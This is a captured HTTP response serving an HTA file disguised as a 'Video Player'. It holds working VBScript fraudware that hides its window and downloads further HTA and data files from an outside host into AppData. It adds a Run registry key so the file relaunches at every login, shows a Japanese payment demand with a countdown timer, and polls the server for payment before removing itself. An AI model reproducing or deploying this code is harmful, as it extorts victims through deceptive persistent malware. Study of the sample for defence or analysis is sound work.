HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 21:30:53 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sun, 06 Feb 2011 06:46:27 GMT
ETag: "1e807dc-1c2a-797636c0"
Accept-Ranges: bytes
Content-Length: 7210
Connection: close
Content-Type: application/hta
<HTML>
<HEAD>
<SCRIPT LANGUAGE="VBScript">
Const ID = "P26AEFJX"
Const PREFIX = "2"
Const FIN_DT = 1296974695
window.moveTo 0, 0
window.resizeTo 1, 1
</SCRIPT>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Video Player</TITLE>
<HTA:APPLICATION ID="VP" APPLICATIONNAME="VP1" BORDER="none" INNERBORDER="no" SCROLL="no" CONTEXTMENU="no" SHOWINTASKBAR="no" SELECTION="no" SINGLEINSTANCE="no">
<SCRIPT LANGUAGE="VBScript">
Option Explicit
Const BASE_URL = "http://a-picture.info/"
Const CHECK_URL = "http://a-picture.info/ctrl.php?c=chkpay&id="
Dim iTimerID
Function GetAppDir
Dim objShell
Set objShell = CreateObject("WScript.Shell")
On Error Resume Next
GetAppDir = objShell.SpecialFolders("AppData")
On Error Goto 0
Set objShell = Nothing
End Function
Function GetCookie(strName)
Dim strCookie
Dim aryCookieData
Dim i, j
strCookie = document.cookie
aryCookieData = split(strCookie, ";")
j = Ubound(aryCookieData)
For i = 0 To j
If left(Trim(aryCookieData(i)), len(strName)) = strName Then
GetCookie = mid(Trim(aryCookieData(i)), len(strName)+2)
Exit Function
End If
Next
End Function
Function CheckPaid
Dim objWinHttp
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
objWinHttp.Open "GET", CHECK_URL & ID, False
On Error Resume Next
objWinHttp.Send
If Err.Number = 0 Then
If objWinHttp.Status = "200" Then
CheckPaid = objWinHttp.responseText
Else
CheckPaid = 0
End If
Else
CheckPaid = 0
End If
On Error Goto 0
Set objWinHttp = Nothing
End Function
Function GetName
Dim objWinHttp
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
objWinHttp.Open "GET", BASE_URL & "player/" & PREFIX & "/" & ID & "/name.dat", False
On Error Resume Next
objWinHttp.Send
If Err.Number = 0 Then
If objWinHttp.Status = "200" Then
GetName = objWinHttp.responseText
Else
GetName = ""
End If
Else
GetName = ""
End If
On Error Goto 0
Set objWinHttp = Nothing
End Function
Sub GoDetail
Dim intStat, objShell
intStat = CheckPaid
If intStat = 1 Then
Set objShell = CreateObject("WScript.Shell")
On Error Resume Next
objShell.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\za"
On Error Goto 0
Set objShell = Nothing
window.close
End If
End Sub
Sub UpdateLeftTime
Dim strTerm
strTerm = DateAdd("s", FIN_DT + 259200 + 32400, "01/01/1970")
Dim strLeft
strLeft = DateDiff("s", Now, strTerm)
If Int(strLeft) < 0 Then
strLeft = Mid(strLeft, 2)
left_head.innerHTML = "超過"
Else
left_head.innerHTML = "まであと"
End If
Dim intDay, intHour, intMinute, intSecond
intDay = Int(strLeft / 86400)
intHour = Int((strLeft Mod 86400) / 3600)
intMinute = Int(((strLeft Mod 86400) Mod 3600) / 60)
intSecond = Int((((strLeft Mod 86400) Mod 3600) Mod 60))
left_time.innerHTML = intDay & "日" & intHour & "時間" & intMinute & "分" & intSecond & "秒"
End Sub
Sub GetHTA(strDir)
Dim objWinHttp
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
objWinHttp.Open "GET", BASE_URL & "player/" & PREFIX & "/" & ID & "/" & ID & ".hta", False
On Error Resume Next
objWinHttp.Send
If Err.Number = 0 Then
If objWinHttp.Status = "200" Then
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")
If Not objFSO.FolderExists(strDir & "\\" & ID) Then
objFSO.CreateFolder strDir & "\\" & ID
End If
Dim objFile
Set objFile = objFSO.CreateTextFile(strDir & "\\" & ID & "\\" & ID & ".hta", True)
If Err.Number = 0 Then
objFile.Write objWinHttp.responseText
objFile.Close
End If
Set objFSO = Nothing
End If
End If
On Error Goto 0
Set objWinHttp = Nothing
End Sub
Sub GetIMG(strDir)
Dim objWinHttp
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
objWinHttp.Open "GET", BASE_URL & "hta/big.b64", False
On Error Resume Next
objWinHttp.Send
If Err.Number = 0 Then
If objWinHttp.Status = "200" Then
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")
If Not objFSO.FolderExists(strDir & "\\" & ID) Then
objFSO.CreateFolder strDir & "\\" & ID
End If
Dim objFile
Set objFile = objFSO.CreateTextFile(strDir & "\\" & ID & "\\" & ID & ".b64", True)
If Err.Number = 0 Then
objFile.Write objWinHttp.responseText
objFile.Close
End If
Set objFSO = Nothing
End If
End If
On Error Goto 0
Set objWinHttp = Nothing
End Sub
Sub Window_onLoad
Dim name
name = GetName
Dim intStat
intStat = CheckPaid
Dim objShell, strURL
If intStat = 1 Then
window.moveTo 0, 0
window.resizeTo 1, 1
P.style.display = "block"
Set objShell = CreateObject("WScript.Shell")
On Error Resume Next
objShell.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\za"
On Error Goto 0
Set objShell = Nothing
strURL = BASE_URL & "p2.htm"
window.showModalDialog strURL, name, "dialogWidth:750px;dialogHeight:500px;"
window.close
Else
window.resizeTo 750, 500
window.moveTo (screen.availWidth - document.body.clientWidth) / 2, (screen.availHeight - document.body.clientHeight) / 2
window.focus
Dim strAppDir
strAppDir = GetAppDir
GetIMG strAppDir
GetHTA strAppDir
M.style.display = "block"
user_id.innerHTML = ID
fin_date.innerHTML = DateAdd("s", FIN_DT + 32400, "01/01/1970")
iTimerID = window.setInterval("UpdateLeftTime", 1000)
Set objShell = CreateObject("WScript.Shell")
On Error Resume Next
objShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\za", "mshta " & """" & strAppDir & "\" & ID & "\" & ID & ".hta" & """", "REG_SZ"
On Error Goto 0
Set objShell = Nothing
strURL = BASE_URL & "p2.htm"
window.showModalDialog strURL, name, "dialogWidth:750px;dialogHeight:500px;"
End If
End Sub
</SCRIPT>
<STYLE TYPE="text/css">
body {
margin: 0;
}
body,td,th {
font-size: 16px;
color: #FFFFFF;
}
</STYLE>
</HEAD>
<BODY STYLE="background:transparent;">
<DIV ID="P" STYLE="display:none;"></DIV>
<DIV ID="M" STYLE="display:none;">
<TABLE WIDTH="750" BORDER="0" CELLPADDING="0" CELLSPACING="0" BGCOLOR="#FF0000">
<TR>
<TD COLSPAN="4"><IMG SRC="http://a-picture.info/hta/big.gif" WIDTH="750" HEIGHT="425" BORDER="0" USEMAP="#Map"></TD>
</TR>
<TR>
<TD WIDTH="25%">ユーザID</TD>
<TD WIDTH="25%" ID="user_id"></TD>
<TD WIDTH="25%">ご登録日時</TD>
<TD WIDTH="25%" ID="fin_date"></TD>
</TR>
<TR>
<TD COLSPAN="2"><FONT SIZE="+2">お振込み期日<SPAN ID="left_head"></SPAN></FONT></TD>
<TD COLSPAN="2"><FONT SIZE="+2"><SPAN ID="left_time"></SPAN></FONT></TD>
</TR>
<TR>
<TD COLSPAN="4">既にご入金済みでこの画面が表示される場合はお手数ですがサポートダイヤルまでご連絡下さい。</TD>
</TR>
</TABLE>
<MAP NAME="Map" ID="Map"><AREA SHAPE="rect" COORDS="36,350,384,405" HREF="http://a-picture.info/ctrl.php?c=pay&id=P26AEFJX" onclick="GoDetail()"></MAP>
</DIV>
</BODY>
</HTML>
|